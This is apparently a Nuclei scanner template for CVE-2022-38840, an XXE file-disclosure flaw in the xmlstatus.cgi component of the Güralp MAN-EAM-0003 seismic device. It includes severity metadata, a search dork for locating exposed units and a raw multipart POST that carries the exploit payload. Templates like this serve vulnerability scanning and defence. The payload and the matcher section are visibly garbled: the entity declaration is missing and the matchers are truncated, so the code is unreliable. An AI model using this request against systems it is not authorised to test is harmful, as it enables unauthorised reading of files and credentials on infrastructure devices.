id: CVE-2022-38840
info:
name: Güralp MAN-EAM-0003 3.2.4 - XML External Entity (XXE)
author: daffainfo
severity: high
description: |
cgi-bin/xmlstatus.cgi in Güralp MAN-EAM-0003 3.2.4 is vulnerable to an XML External Entity (XXE) issue via XML file upload, which leads to local file disclosure.
impact: |
Unauthenticated attackers can exploit XXE vulnerabilities in the xmlstatus.cgi component to read arbitrary files from the seismic monitoring system, potentially accessing sensitive configuration data and system credentials.
remediation: |
Update Güralp MAN-EAM-0003 to a version newer than 3.2.4 that disables external entity processing in XML parsers and validates uploaded XML files.
reference:
- https://www.exploit-db.com/exploits/51037
- https://nvd.nist.gov/vuln/detail/CVE-2022-38840
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-38840
cwe-id: CWE-611
epss-score: 0.60091
epss-percentile: 0.98311
cpe: cpe:2.3:a:guralp:man-eam-0003:3.2.4:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: guralp
product: man-eam-0003
google-query: "webconfig menu.cgi"
tags: cve,cve2022,guralp,man-eam-0003,xxe,vkev,vuln
http:
- raw:
- |
POST /cgi-bin/xmlstatus.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryb84cALN1n8IDf7tQ
------WebKitFormBoundaryb84cALN1n8IDf7tQ
Content-Disposition: form-data; name="xml_file"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryb84cALN1n8IDf7tQ
Content-Disposition: form-data; name="xml_data"
]>
xmlstatus.cgi"
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502207babb5b4add72ce76ea2bdd5065d38e6d695e33949a259a627bac20ff9a9ff55022100937e70403b5e9241541d269917e304e609be99f16e9d0601bdfcf0efbedd12f2:922c64590222798bb761d5b6d8e72950